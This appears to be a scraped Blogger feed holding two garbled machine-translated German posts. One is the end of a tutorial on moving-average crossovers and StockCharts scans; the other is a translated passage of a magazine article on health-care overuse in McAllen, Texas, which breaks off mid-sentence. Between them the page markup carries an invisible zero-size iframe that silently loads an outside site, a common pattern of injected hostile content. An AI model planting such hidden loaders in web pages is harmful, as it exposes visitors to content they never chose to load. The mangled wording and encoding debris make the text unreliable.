nicht lange, als die 10-Tage-EMA über die 50-Tage ein paar Tage später zurückging (4). Nach drei schlechten Signalen, schien das vierte Signal eine starke Bewegung als die Aktie vorrückte über 20. Es gibt zwei Takeaways hier. Erstens, Crossovers sind anfällig für whipsaw. Ein Preis oder Zeitfilter kann angewendet werden, um zu helfen, whipsaws zu verhindern. Händler könnten verlangen, dass die Crossover 3 Tage dauern, bevor sie handeln oder verlangen, dass die 10-Tage-EMA über die 50-Tage-EMA um einen gewissen Betrag vor der Handlung zu bewegen. Zweitens kann MACD verwendet werden, um diese Frequenzweichen zu identifizieren und zu quantifizieren. MACD (10,50,1) zeigt eine Linie, die die Differenz zwischen den beiden exponentiellen gleitenden Mittelwerten darstellt. MACD wird positiv während eines goldenen Kreuzes und negativ während eines toten Kreuzes. Der Prozentsatz-Oszillator (PPO) kann auf die gleiche Weise verwendet werden, um Prozentunterschiede anzuzeigen. Beachten Sie, dass MACD und das PPO auf exponentiellen gleitenden Durchschnitten basieren und nicht mit einfachen gleitenden Durchschnitten zusammenpassen. Diese Grafik zeigt Oracle (ORCL) mit dem 50-Tage EMA, 200-Tage EMA und MACD (50.200,1). Es gab vier gleitende durchschnittliche Frequenzweichen über einen Zeitraum von 12 Jahren. Die ersten drei führten zu Peitschen oder schlechten Trades. Ein anhaltender Trend begann mit der vierten Crossover als ORCL bis Mitte der 20er Jahre. Erneut bewegen sich die durchschnittlichen Crossover-Effekte groß, wenn der Trend stark ist, erzeugen aber Verluste in Abwesenheit eines Trends. Preis-Crossover Moving-Durchschnitte können auch verwendet werden, um Signale mit einfachen Preis-Crossover zu generieren. Ein bullisches Signal wird erzeugt, wenn die Preise über dem gleitenden Durchschnitt liegen. Ein bäres Signal wird erzeugt, wenn die Preise unter dem gleitenden Durchschnitt liegen. Preis-Crossover können kombiniert werden, um innerhalb der größeren Trend Handel. Der längere gleitende Durchschnitt setzt den Ton für den größeren Trend und der kürzere gleitende Durchschnitt wird verwendet, um die Signale zu erzeugen. Man würde bullish Preiskreuze nur dann suchen, wenn die Preise schon über dem längeren gleitenden Durchschnitt liegen. Dies würde den Handel im Einklang mit dem größeren Trend. Wenn zum Beispiel der Kurs über dem gleitenden 200-Tage-Durchschnitt liegt, würden sich die Chartisten nur auf Signale konzentrieren, wenn der Kurs über dem 50-Tage-Gleitender Durchschnitt liegt. Offensichtlich würde ein Schritt unterhalb der 50-Tage gleitenden Durchschnitt ein solches Signal vorausgehen, aber solche bearish Kreuze würden ignoriert, weil der größere Trend ist. Ein bearish Kreuz würde einfach vorschlagen, ein Pullback in einem größeren Aufwärtstrend. Ein Cross-Back über dem 50-Tage-Gleitender Durchschnitt würde einen Preisanstieg und eine Fortsetzung des größeren Aufwärtstrends signalisieren. Die nächste Tabelle zeigt Emerson Electric (EMR) mit dem 50-Tage EMA und 200-Tage EMA. Die Aktie bewegte sich über und hielt über dem 200-Tage gleitenden Durchschnitt im August. Es gab Dips unterhalb der 50-Tage-EMA Anfang November und wieder Anfang Februar. Die Preise schnell zurück über die 50-Tage-EMA zu bullish Signale (grüne Pfeile) in Harmonie mit dem größeren Aufwärtstrend. Im Indikatorfenster wird MACD (1,50,1) angezeigt, um Preiskreuze über oder unter dem 50-Tage-EMA zu bestätigen. Die 1-tägige EMA entspricht dem Schlusskurs. MACD (1,50,1) ist positiv, wenn das Schließen oberhalb der 50-Tage-EMA und negativ ist, wenn das Schließen unterhalb der 50-Tage-EMA liegt. Unterstützung und Widerstand Der Gleitende Durchschnitt kann auch als Unterstützung in einem Aufwärtstrend und Widerstand in einem Abwärtstrend dienen. Ein kurzfristiger Aufwärtstrend könnte Unterstützung nahe dem 20-tägigen einfachen gleitenden Durchschnitt finden, der auch in Bollinger-Bändern verwendet wird. Ein langfristiger Aufwärtstrend könnte Unterstützung nahe dem 200-tägigen einfachen gleitenden Durchschnitt finden, der der populärste langfristige bewegliche Durchschnitt ist. Wenn Tatsache, die 200-Tage gleitenden Durchschnitt bieten kann Unterstützung oder Widerstand, nur weil es so weit verbreitet ist. Es ist fast wie eine sich selbst erfüllende Prophezeiung. Die Grafik oben zeigt die NY Composite mit dem 200-Tage einfachen gleitenden Durchschnitt von Mitte 2004 bis Ende 2008. Die 200-Tage-Support zur Verfügung gestellt, mehrmals während des Vorhabens. Sobald der Trend mit einem Doppel-Top-Support-Pause umgekehrt, der 200-Tage gleitenden Durchschnitt als Widerstand um 9500 gehandelt. Erwarten Sie nicht genaue Unterstützung und Widerstand Ebenen von gleitenden Durchschnitten, vor allem längeren gleitenden Durchschnitten. Märkte werden durch Emotionen gefahren, wodurch sie anfällig für Überschreitungen sind. Statt genauer Ebenen können gleitende Mittelwerte verwendet werden, um Unterstützungs - oder Widerstandszonen zu identifizieren. Schlussfolgerungen Die Vorteile der Verwendung von bewegten Durchschnitten müssen gegen die Nachteile gewogen werden. Moving-Durchschnitte sind Trend nach, oder nacheilende, Indikatoren, die immer einen Schritt hinter sich. Dies ist nicht unbedingt eine schlechte Sache. Immerhin ist der Trend ist dein Freund und es ist am besten, in die Richtung des Trends Handel. Die gleitenden Durchschnitte gewährleisten, dass ein Händler dem aktuellen Trend entspricht. Auch wenn der Trend ist dein Freund, verbringen die Wertpapiere viel Zeit in Handelsspannen, die gleitende Durchschnitte ineffektiv machen. Einmal in einem Trend, bewegte Durchschnitte halten Sie in, sondern geben auch späte Signale. Don039t erwarten, an der Spitze zu verkaufen und kaufen Sie am unteren Rand mit gleitenden Durchschnitten. Wie bei den meisten technischen Analysetools sollten die gleitenden Mittelwerte nicht allein verwendet werden, sondern in Verbindung mit anderen komplementären Tools. Chartisten können gleitende Durchschnitte verwenden, um den Gesamttrend zu definieren und dann RSI zu verwenden, um überkaufte oder überverkaufte Niveaus zu definieren. Hinzufügen von Bewegungsdurchschnitten zu StockCharts Diagrammen Gleitende Durchschnitte sind als Preisüberlagerungsfunktion auf der SharpCharts-Workbench verfügbar. Mit dem Dropdown-Menü Overlays können Benutzer entweder einen einfachen gleitenden Durchschnitt oder einen exponentiellen gleitenden Durchschnitt auswählen. Der erste Parameter wird verwendet, um die Anzahl der Zeitperioden einzustellen. Ein optionaler Parameter kann hinzugefügt werden, um festzulegen, welches Preisfeld in den Berechnungen verwendet werden soll - O für die Open, H für High, L für Low und C für Close. Ein Komma wird verwendet, um Parameter zu trennen. Ein weiterer optionaler Parameter kann hinzugefügt werden, um die gleitenden Mittelwerte nach links (vorbei) oder nach rechts (zukünftig) zu verschieben. Eine negative Zahl (-10) würde den gleitenden Durchschnitt auf die linken 10 Perioden verschieben. Eine positive Zahl (10) würde den gleitenden Durchschnitt auf die rechten 10 Perioden verschieben. Mehrere gleitende Durchschnitte können dem Preisplot überlagert werden, indem einfach eine weitere Überlagerungslinie zur Werkbank hinzugefügt wird. StockCharts-Mitglieder können die Farben und den Stil ändern, um zwischen mehreren gleitenden Durchschnitten zu unterscheiden. Nachdem Sie eine Anzeige ausgewählt haben, öffnen Sie die erweiterten Optionen, indem Sie auf das kleine grüne Dreieck klicken. Erweiterte Optionen können auch verwendet werden, um eine gleitende mittlere Überlagerung zu anderen technischen Indikatoren wie RSI, CCI und Volumen hinzuzufügen. Klicken Sie hier für ein Live-Diagramm mit mehreren verschiedenen gleitenden Durchschnitten. Verwenden von Moving Averages mit StockCharts-Scans Hier finden Sie einige Beispielscans, die die StockCharts-Mitglieder verwenden können, um verschiedene gleitende durchschnittliche Situationen zu scannen: Bullish Moving Average Cross: Diese Scans suchen nach Aktien mit einem steigenden 150-Tage-Durchschnitt Tag EMA und 35-Tage EMA. Der 150-Tage gleitende Durchschnitt steigt, solange er über seinem Niveau vor fünf Tagen handelt. Ein bullish Kreuz tritt auf, wenn die 5-Tage-EMA bewegt sich über dem 35-Tage-EMA auf überdurchschnittlichen Volumen. Bearish Moving Average Cross: Diese Scans sucht nach Aktien mit einem fallenden 150-Tage einfachen gleitenden Durchschnitt und einem bärischen Kreuz der 5-Tage EMA und 35-Tage EMA. Der 150-Tage gleitende Durchschnitt fällt, solange er unter seinem Niveau vor fünf Tagen handelt. Ein bäriges Kreuz tritt auf, wenn die 5-Tage-EMA unterhalb der 35-Tage-EMA auf überdurchschnittlichem Volumen bewegt. Weitere Studie John Murphy039s Buch hat ein Kapitel gewidmet gleitende Durchschnitte und ihre verschiedenen Verwendungen. Murphy deckt die Vor-und Nachteile der gleitenden Durchschnitte. Darüber hinaus zeigt Murphy, wie bewegte Durchschnitte mit Bollinger Bands und kanalbasierten Handelssystemen funktionieren. Technische Analyse der Finanzmärkte John Murphy</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-42319581300207392252017-08-07T06:37:00.000-07:002017-08-07T06:37:03.722-07:00Durchschnittlich Bewegliche Kosten Innerhalb Der Stadt<p>Der New Yorker Die Kosten Conundrum Inhaltsverzeichnis Es ist Frühling in McAllen, Texas. Die Morgensonne ist warm. Die Straßen sind mit Palmen und Pick-ups gesäumt. McAllen ist in Hidalgo County, das das niedrigste Haushaltseinkommen im Land hat, aber seine eine Grenzstadt und eine blühende Außenhandelszone hat die Arbeitslosenquote unter 10 Prozent gehalten. McAllen nennt sich die Square Dance Hauptstadt der Welt. Lonesome Dove war hier umgestellt. McAllen hat auch eine andere Auszeichnung: Es ist einer der teuersten Gesundheitsmärkte im Land. Nur Miamiwhich hat viel höhere Arbeits-und Lebenshaltungskosten mehr pro Person auf die Gesundheitsversorgung. Im Jahr 2006, Medicare verbrachte fünfzehntausend Dollar pro enrollee hier fast doppelt so hoch wie im nationalen Durchschnitt. Das Einkommen pro Kopf beträgt zwölftausend Dollar. Mit anderen Worten, Medicare verbringt dreitausend Dollar mehr pro Person hier als die durchschnittliche Person verdient. Der explosive Trend in den amerikanischen medizinischen Kosten scheint hier in einer besonders intensiven Form aufgetreten zu sein. Unser Land Gesundheitswesen ist mit Abstand das teuerste der Welt. In Washington ist das Ziel der Gesundheitsreform nicht nur, die medizinische Versorgung für alle zu erweitern, sondern auch die Kosten in den Griff zu bekommen. Die Ausgaben für Ärzte, Krankenhäuser, Drogen, und dergleichen verbraucht nun mehr als eines von sechs Dollar, die wir verdienen. Die finanzielle Belastung hat die globale Wettbewerbsfähigkeit der amerikanischen Unternehmen beschädigt und Millionen von Familien, auch die mit Versicherung, in Konkurs gebracht. Seine auch verschlingen unsere Regierung. Die größte Bedrohung für Amerikas steuerliche Gesundheit ist nicht Sozialversicherung, sagte Präsident Barack Obama in einer Märzrede im Weißen Haus. Es ist nicht die Investitionen, die wir gemacht haben, um unsere Wirtschaft in dieser Krise zu retten. Die größte Bedrohung für unsere Nationenbilanz ist der sprunghafte Anstieg der Gesundheitsversorgung. Sein nicht sogar nah. Die Frage war jetzt hektisch, wie es dazu kam, und was man dagegen tun kann. McAllen, Texas, die teuerste Stadt in der teuersten Land für Gesundheitsversorgung in der Welt, schien ein guter Ort, um für einige Antworten zu suchen. Von dem Moment an, als ich ankam, fragte ich fast alle, die ich über McAllens Gesundheitskosten traf. Ein Geschäftsmann, den ich am Fünf-Tor-McAllen-Miller International Airport traf, die Büroangestellten im Embassy Suites Hotel, einem Polizeiakademie-Kadett bei McDonalds. Die meisten werent überrascht zu hören, dass McAllen war ein Ausreißer. Sieh nur um, sagte der Kadett. Die Menschen sind hier nicht gesund. McAllen, mit seiner hohen Armutsrate, hat eine Inzidenz von schwerem Trinken sechzig Prozent höher als der nationale Durchschnitt. Und die Tex-Mex Diät hat zu einer achtunddreißig-prozentigen Korpulenzrate beigetragen. Eines Tages ging ich mit Lester Dyke, einem verwitterten, ranchbesessenen 53-jährigen Herzchirurgen, der in Austin aufwuchs, seine chirurgische Ausbildung bei der Armee im ganzen Land und setzte sich in die Praxis um Im Bezirk Hidalgo. Er hat nicht geschäftlich fehlt: In den vergangenen zwanzig Jahren hat er etwa achttausend Herzoperationen erledigt, die mich erschöpft, wenn ich nur daran denke. Ich ging herum mit ihm, als er innen auf zehn seiner Patienten überprüfte, die sich an den drei Krankenhäusern erholten, in denen er arbeitet. Es war leicht zu sehen, was sie unter seinem Messer gelandet hatte. Sie waren fast alle übergewichtig oder diabetisch oder beides. Viele hatten eine Familiengeschichte von Herzerkrankungen. Wenige waren vorbeugende Maßnahmen, wie Cholesterin-senkende Medikamente, die, Studien zeigen, hätte die Operation für bis zu die Hälfte von ihnen beseitigt haben. Dennoch zeigen die Statistiken der öffentlichen Gesundheit, dass die kardiovaskulären Erkrankungsraten in der Provinz tatsächlich niedriger als der Durchschnitt sind, wahrscheinlich, weil ihre Rauchraten ziemlich niedrig sind. Preise für Asthma, H. I.V. Säuglingssterblichkeit, Krebs und Verletzungen sind niedriger. El Paso County, achthundert Meilen bis die Grenze, hat im Wesentlichen die gleiche demografische Merkmale. Beide Kreise haben eine Bevölkerung von etwa siebenhunderttausend, ähnliche Statistiken der öffentlichen Gesundheit und ähnliche Prozentsätze der nicht-englischen Sprecher, illegale Einwanderer und die Arbeitslosen. Im Jahr 2006 waren die Medicare-Ausgaben (unsere beste Annäherung an alle Ausgabenmodelle) in El Paso jedoch 7504 pro Enrolleehalf so viel wie in McAllen. Eine ungesunde Bevölkerung könnte nicht der Grund dafür sein, dass McAllens Gesundheitskosten so hoch sind. (Oder der Grund, dass Americas sind.) Wir können mehr fettleibig als jede andere industrialisierte Nation, aber wir haben unter den niedrigsten Rauchen und Alkoholismus, und wir sind in der Mitte des Bereichs für Herz-Kreislauf-Erkrankungen und Diabetes.) War die Erklärung , Dass McAllen eine ungewöhnlich gute Gesundheitsversorgung zur Verfügung stellte, machte ich einen Spaziergang durch das Ärztekrankenhaus in der Renaissance in Edinburg, einer der Städte in der Metropolregion McAllen mit Robert Alleyn, einem Houston-ausgebildeten Chirurgen, der hier aufgewachsen war Kehrte nach Hause zurück zu üben. Der Krankenhaus-Campus erstreckt sich über zwei Stadtblöcke, mit einer Reihe von drei - und vierstöckigen Stuckgebäuden, die durch golfen-grüne Rasen und schwarze Asphaltparkplätze getrennt sind. Er wies darauf hin, dass das Krebszentrum hier drüben liegt, das Herzzentrum ist da drüben, jetzt kommen sie zum Bildgebungszentrum. Wir gingen ins Chirurgiegebäude. Es war schlank und modern, mit Einbauleuchten, klassische Musik in die Warteräume geleitet, und Krankenschwestern bewegte sich von Patient zu Patient hinter rollenden schwarzen Computer-Pods. Wir wechselten in Scrubs und Alleyn führte mich durch die sechzehn Operationssäle, um mir die Laparoskopie-Suite mit ihren Flachbildschirm-Videomonitoren, dem hybriden Operationssaal mit integrierter bildgebender Ausrüstung, dem chirurgischen Roboter für die minimal-invasive Roboterchirurgie, zu zeigen. Ich war beeindruckt. Der Ort hatte praktisch die ganze Technologie, die man in Harvard und Stanford und in der Mayo Clinic findet, und als ich durch dieses Krankenhaus auf einer staubigen Straße in Südtexas ging, war das für mich eine bemerkenswerte Sache. Reiche Städte erhalten die neuen Schulgebäude, Löschfahrzeuge und Straßen, ganz zu schweigen von den besseren Lehrern und Polizeibeamten und Bauingenieuren. Schlechte Städte nicht. Aber diese Regel gilt nicht für die Gesundheitsversorgung. Im McAllen Medical Center sah ich einen orthopädischen Chirurgen unter einem Operationsmikroskop, um einen Tumor zu entfernen, der um das Rückenmark eines Vierzehnjährigen gewickelt war. Bei einer häuslichen Gesundheitsbehörde sprach ich mit einer Krankenschwester, die intravenös-medikamentöse Therapie für Patienten mit kongestiver Herzinsuffizienz bereitstellen konnte. Im McAllen Heart Hospital, sah ich Dyke und ein Team von sechs eine Koronar-Arterie-Bypass mit Technologien, die es vor ein paar Jahren gab es nicht. In der Renaissance sprach ich mit einem Neonatologen, der in meinem Krankenhaus in Boston trainierte, und brachte McAllen neue Fertigkeiten und Technologien für Frühgeborene. Ive hatte Krankenschwestern zu mir kommen und sagen, ich wusste nie, dass diese Babys überleben könnte, 8217 8220 sagte er. Und doch theres kein Beweis, daß die Behandlungen und Technologien, die bei McAllen vorhanden sind, besser sind als die, die anderwohin im Land gefunden werden. Die Jahresberichte, dass Krankenhäuser Datei mit Medicare zeigen, dass die in McAllen und El Paso bieten vergleichbare Technologienneonatale Intensiv-Einheiten, erweiterte Herz-Services, PET-Scans, und so weiter. Öffentliche Statistiken zeigen keinen Unterschied in der Versorgung der Ärzte. Hidalgo County hat tatsächlich weniger Spezialisten als der nationale Durchschnitt. Auch die Pflege in McAllen zeichnet sich nicht durch ihre Qualität aus. Medicare zählt Krankenhäuser auf fünfundzwanzig Metriken der Pflege. Auf allen aber zwei von diesen, McAllens fünf größten Krankenhäusern durchgeführt schlechter, im Durchschnitt, als El Pasos. McAllen Kosten Medicare siebentausend Dollar mehr pro Person pro Jahr als die durchschnittliche Stadt in Amerika. Aber nicht, so weit, wie man sagen kann, weil seine Bereitstellung bessere Gesundheitsversorgung. Eines Abends ging ich mit sechs McAllen-Ärzten zum Essen. Alle waren, was Sie Brot-und-Butter-Ärzte nennen würde: beschäftigt, Vollzeit, Privatpraxis Ärzte, die von sieben Uhr morgens bis sieben Uhr nachts und manchmal später ihre Wartezimmer wimmelt und ihre Schreibtische gestapelt mit medizinischen Diagrammen zu Überprüfung. Einige waren zweifelhaft, als ich ihnen sagte, dass McAllen das Land der teuerste Ort für die Gesundheitsversorgung war. Ich gab ihnen die Ausgaben von Medicare. 1992, im McAllen-Markt, waren die durchschnittlichen Kosten pro Medicare enrollee 4.891, fast genau der nationale Durchschnitt. Aber seitdem, Jahr für Jahr, sind McAllens Gesundheitskosten schneller als jeder möglicher andere Markt im Land gewachsen und schlossen schließlich um mehr als zehntausend Dollar pro Person. Vielleicht ist der Service hier besser, meinte der Kardiologe. Leute können schneller gesehen werden und ihre Tests besser erhalten, sagte er. Andere waren skeptisch. Ich glaube nicht, dass erklärt, die Kosten hes reden, sagte der Chirurg. Sein Fehlverhalten, ein Familienarzt, der hier seit dreiunddreißig Jahren geübt hatte, sagte. McAllen ist legale Hölle, der Kardiologe stimmte zu. Ärzte bestellen unnötige Tests nur um sich zu schützen, sagte er. Alle dachten, die Anwälte hier seien schlechter als anderswo. Diese Erklärung verwirrte mich. Vor einigen Jahren verabschiedete Texas ein hartes missbräuchliches Gesetz, das Schmerz-und-Leid-Preise mit zweihundertfünfzigtausend Dollar bedeckte. Didnt Klagen gehen praktisch auf Null, der Kardiologe zugelassen. Kommen Sie, sagte der Chirurg endlich. Wir alle wissen, diese Argumente sind Bullshit. Es gibt Overnutzung hier, rein und einfach. Ärzte, sagte er, wurden zermürben Gebühren mit zusätzlichen Tests, Dienstleistungen und Verfahren. Der Chirurg kam zu McAllen in der Mitte der neunziger Jahre, und seitdem, sagte er, die Weise, Medizin zu praktizieren, hat sich völlig geändert. Vorher ging es darum, wie man einen guten Job macht. Jetzt geht es darum, wie viel wird Ihnen zugutekommen8217 8220 Alle waren sich einig, dass sich seit den Tagen, in denen die Kosten für die Gesundheitsversorgung in McAllen die gleichen waren wie in El Paso und anderswo, etwas Wesentliches verändert hatte. Ja, sie hatten mehr Technik. Aber junge Ärzte denken nicht mehr, sagte der Familienarzt. Der Chirurg gab mir ein Beispiel. Allgemeine Chirurgen werden oft gebeten, Patienten mit Schmerzen von Gallensteinen zu sehen. Wenn es arent keine Komplikationen und dort in der Regel arentthe Schmerzen geht allein oder mit Schmerzmittel. Mit Anweisung zum Essen einer fettarmen Ernährung, die meisten Patienten keine weiteren Schwierigkeiten. Aber einige haben wiederkehrende Episoden, und müssen operiert werden, um ihre Gallenblase zu entfernen. Ein Patient zu sehen, der unkomplizierte, erstmalige Gallensteinschmerzen hatte, bedarf eines Urteilsvermögens. Ein Chirurg muss Versicherung geben (Menschen sind oft Angst und wollen direkt zur Operation gehen), einige Erziehung über Gallenstein Krankheit und Ernährung, vielleicht ein Rezept für Schmerzen in ein paar Wochen, könnte der Chirurg Follow-up. Aber zunehmend wurde mir gesagt, McAllen Chirurgen einfach funktionieren. Der Patient wollte ihre Ernährung nicht moderieren, sagen sie sich. Der Schmerz wollte nur zurückkommen. Und durch den Betrieb sie geschehen, um eine zusätzliche siebenhundert Dollar zu machen. Ich gab den Ärzten rund um den Tisch ein Szenario. Eine vierzigjährige Frau kommt mit Brustschmerzen nach einem Kampf mit ihrem Mann. Ein EKG ist normal. Die Schmerzen in der Brust geht weg. Sie hat keine Familie Geschichte der Herzkrankheit. Was McAllen Ärzte vor fünfzehn Jahren Schicken Sie ihr Haus, sagten sie. Vielleicht bekommen einen Stress-Test zu bestätigen, dass theres kein Problem, aber auch das könnte übertrieben sein. Und heute Heute, sagte der Kardiologe, würde sie einen Stresstest, ein Echokardiogramm, einen mobilen Holter-Monitor und vielleicht sogar eine Herzkatheterisierung bekommen. Oh, shes definitiv bekommen eine Katze, sagte der Internist, lachend grimmig. Wenn Sie auf dem Weg zum Camp, werden Ihre Eltern wollen, um zu sehen, einige Trennung Angst. Um festzustellen, ob Überbeanspruchung der medizinischen Versorgung war wirklich das Problem in McAllen, wandte ich mich an Jonathan Skinner, ein Ökonom am Dartmouths Institut für Gesundheitspolitik und Klinische Praxis, die drei Jahrzehnte Erfahrung in der Prüfung der regionalen Muster in Medicare Zahlungsdaten hat. Ich wandte mich auch an zwei private UnternehmenD2Hawkeye, ein unabhängiges Unternehmen, und Ingenix, UnitedHealthcares Daten-Analyse-Unternehmen zu analysieren kommerzielle Versicherungsdaten für McAllen. Die Antwort war ja. Im Vergleich zu Patienten in El Paso und bundesweit, bekamen die Patienten in McAllen mehr von ziemlich viel mehr diagnostische Tests, mehr Krankenhausbehandlung, mehr Chirurgie, mehr häusliche Pflege. Die Medicare Zahlungsdaten lieferten die meisten Details. Zwischen 2001 und 2005 erhielten kritisch erkrankte Medicare-Patienten fast fünfzig Prozent mehr Fachbesuche in McAllen als in El Paso und waren zwei Drittel eher zehn oder mehr Spezialisten in einem Zeitraum von sechs Monaten zu sehen. In den Jahren 2005 und 2006 erhielten die Patienten in McAllen 20 Prozent mehr abdominale Ultraschalluntersuchungen, 30 Prozent mehr Knochendichte-Studien, 60 Prozent mehr Stress-Tests mit Echokardiographie, zweihundert Prozent mehr Nervenleitungsstudien zur Diagnostik des Karpaltunnelsyndroms, Und fünfhundertundfünfzig Prozent mehr Urin-Flow-Studien, um Prostata-Probleme zu diagnostizieren. Sie erhielten ein Fünftel bis zwei Drittel mehr Gallenblase Operationen, Knie-Ersatz, Brust-Biopsien und Blase Scopes. Sie erhielten auch zwei - bis dreimal so viele Herzschrittmacher, implantierbare Defibrillatoren, Herz-Bypass-Operationen, Carotis-Endarteriektomien und Koronararterienstents. Und Medicare bezahlte fünfmal so viele Hausbesuche. Die Hauptursache für McAllens extreme Kosten war ganz einfach die übergreifende Überbeanspruchung der Medizin. Dies ist eine beunruhigende und vielleicht überraschende Diagnose. Amerikaner mögen glauben, dass, mit den meisten Sachen, mehr besser ist. Aber die Forschung deutet darauf hin, dass, wo die Medizin betrifft es tatsächlich schlimmer sein kann. Zum Beispiel, Rochester, Minnesota, wo die Mayo-Klinik dominiert die Szene, hat fantastisch ein hohes Maß an technologischen Fähigkeiten und Qualität, aber seine Medicare-Ausgaben ist in den niedrigsten fünfzehn Prozent des Landes 6,688 pro enrollee im Jahr 2006, das ist achttausend Dollar weniger als die Zahl für McAllen. Zwei Ökonomen, die bei Dartmouth, Katherine Baicker und Amitabh Chandra arbeiteten, stellten fest, dass je mehr Geld Medicare pro Person in einem bestimmten Staat verbracht hat, desto niedriger ist die Qualität, die Ranglisten aufweisen. In der Tat, die vier Staaten mit den höchsten AusgabenLouisiana, Texas, Kalifornien und Floridawere in der Nähe der Unterseite der nationalen Rankings auf die Qualität der Patientenversorgung. In einer Studie von 2003 untersuchte ein weiteres Dartmouth-Team unter der Leitung des Internisten Elliott Fisher die Behandlung von einer Million älteren Amerikanern, die mit Darm - oder Rektumkarzinom, einer Hüftfraktur oder einem Herzinfarkt diagnostiziert wurden. Sie stellten fest, dass Patienten in Gebieten mit höheren Ausgaben sechzig Prozent mehr Pflege als anderswo erhielten. Sie häufiger Tests und Verfahren, mehr Besuche mit Spezialisten und häufiger Aufnahme in Krankenhäusern. Aber sie taten es nicht besser als andere Patienten, ob dies in Bezug auf das Überleben, ihre Funktionsfähigkeit oder Zufriedenheit mit der Pflege, die sie erhielten, gemessen wurde. Wenn überhaupt, schienen sie es noch schlimmer zu machen. Das ist, weil nichts in der Medizin ist ohne Risiken. Komplikationen können aus Krankenhausaufenthalten, Medikamenten, Verfahren und Tests entstehen, und wenn diese Dinge von marginalen Wert sind, kann der Schaden größer sein als die Vorteile. In den letzten Jahren haben wir Ärzte haben deutlich die Anzahl der Operationen, die wir tun, zum Beispiel. Im Jahr 2006 führten Ärzte mindestens sechzig Millionen chirurgische Verfahren, eine für alle fünf Amerikaner. Kein anderes Land tut so viel Operationen wie seine Bürger. Sind wir besser dran für es Niemand weiß sicher, aber es scheint sehr unwahrscheinlich. Immerhin sterben einige hunderttausend Menschen jedes Jahr an Komplikationen der Chirurgie weit mehr als sterben bei Autounfällen. Um es noch schlimmer zu machen, stellte Fisher fest, dass Patienten in hochpreisigen Gebieten tatsächlich weniger wahrscheinlich waren, kostengünstige präventive Dienstleistungen wie Grippe - und Pneumonieimpfstoffe zu erhalten, längeren Wartezeiten bei Arzt - und Notfallbesuchen gegenüberstehen und weniger wahrscheinlich waren Einem Hausarzt. Sie haben mehr von den Sachen, die mehr kosten, aber nicht mehr von dem, was sie brauchten. In einer eigenartigen Weise ist diese Nachricht beruhigend. Universalabdeckung ist nicht möglich, es sei denn wir können Kosten kontrollieren. Die politischen Entscheidungsträger haben sich Sorgen gemacht, dass dies eine Rationierung erfordern würde, die die Öffentlichkeit niemals begleiten würde. So die Idee, dass theres viel Fett in das System ist zutiefst attraktiv. Fast dreißig Prozent der Medicares-Kosten könnten gespart werden, ohne die Gesundheitsergebnisse negativ zu beeinflussen, wenn die Ausgaben in den hoch - und mittelkostenorientierten Gebieten auf das Niveau in den kostengünstigen Bereichen reduziert werden könnten, so Peter Orszag, Direktor der Präsidenten. Die meisten Amerikaner würden sich freuen, die Qualität der Pflege in Orten wie Rochester, Minnesota oder Seattle, Washington oder Durham, North Carolinaall von denen haben Weltklasse-Krankenhäuser und Kosten, die unter dem nationalen Durchschnitt zu finden. Wenn wir die Kostenkurve in den teuren Orten auf ihr Niveau gebracht, Medicares Probleme (in der Tat, fast alle Bundesregierungen Budget Probleme für die nächsten fünfzig Jahre) gelöst werden würde. Die Schwierigkeit ist, wie es geht. Ärzte an Orten wie McAllen verhalten sich anders als andere. Die 2.4-Trillion Frage ist warum. Wenn wir es nicht herausfinden, wird die Gesundheitsreform scheitern. Ich hatte, was ich für einen vernünftigen Plan für herauszufinden, was los war in McAllen. Ich würde auf die Köpfe seiner Krankenhäuser, in ihre schick, dekorative gestaltete, churrigueresco Büros aufrufen und Id fragen sie. Das erste Krankenhaus, das ich besuchte, ist McAllen Heart Hospital, im Besitz von Universal Health Services, einer gemeinnützigen Krankenhauskette mit Hauptsitz in King of Prussia, Pennsylvania und einem Umsatz von fünf Milliarden Dollar im vergangenen Jahr. Ich ging zu den Krankenhäusern Chief Operating Officer, Gilda Romero zu sehen. Wahrheit gesagt werden, schien ihr Büro weniger churrigueresco als Office Depot. Sie hatte gerade braune Haare, sympathische Augen, und sah mehr wie eine junge Lehrerin aus, als wie ein Offizier mit neunzehn Jahren Erfahrung. Und als ich fragte, was hier los ist, sah sie überrascht aus. Ist McAllen wirklich so teuer, fragte sie. Ich beschrieb die Daten, einschließlich der Zahlen, die darauf hinweisen, dass Herzoperationen und Katheter-Verfahren und Herzschrittmacher in McAllen mit doppelter üblicher Rate durchgeführt wurden. Das ist interessant, sagte sie, was sie nicht meinte, äh-oh, du hast uns gefangen, sondern vielmehr, das ist eigentlich interessant. Das Problem der McAllens outlandish Kosten war neu für sie. Sie verwirrt über die Zahlen. Sie war sicher, dass ihre Ärzte operiert nur, wenn es notwendig war. Es musste eines der anderen Krankenhäuser sein. Und sie hatte eines im SinnDoktoren Krankenhaus in der Renaissance, das Krankenhaus in Edinburg, dass ich bereist hatte. Sie war nicht die einzige Person, die Renaissance zu erwähnen. Es ist das neueste Krankenhaus in der Gegend. Es ist Arzt-Besitz. Und es hat einen Ruf (der es aussagt) für aggressive Rekrutierung von hochvolumigen Ärzten, um Investoren zu werden und Patienten dort zu schicken. Ärzte, die dies tun, erhalten nicht nur ihre Gebühr für was Service sie bieten, sondern auch ein Prozentsatz der Krankenhäuser profitiert von den Tests, Chirurgie oder andere Pflegepatienten gegeben sind. (Im Jahr 2007 beliefen sich seine Gewinne auf vierunddreißig Millionen Dollar.) Romero und andere argumentierten, dass dies Ärzten eine unheilige Versuchung zur Überordnung gibt. Eine solche Vereinbarung kann Arzt Investoren reich machen. Aber es kann nicht die ganze Erklärung sein. Das Krankenhaus erhält kaum ein Sechstel der Patienten in der Region seine Margen sind nicht größer als die anderen Krankenhäuser, ob für Profit oder nicht für Profit und es hatte nicht viel von einer Anwesenheit bis 2004 frühestens ein volles Jahrzehnt nach der Kostenexplosion in McAllen begann . Das sind gute Punkte, sagte Romero. Sie konnte nicht erklären, was los war. Am folgenden Nachmittag besuchte ich die Top-Manager des Ärztekrankenhauses der Renaissance. Wir saßen in ihrem Sitzungssaal um ein Ende eines yachtlanges Tisches. Der Vorstandsvorsitzende bot mir eine Limo an. Der Stabschef lächelte mich an. Der Finanzvorstand schüttelte meine Hand, als wäre ich ein alter Freund. Der Geschäftsführer. Jedoch, hatte eine harte Zeit vorgibt, dass er glücklich war, mich zu sehen. Lawrence Gelman war ein siebenundfünfzigjähriger Anästhesist mit einem Bill Clinton Schock aus weißem Haar und einem wöchentlichen lokalen Radio-Show-Tag-gesäumten 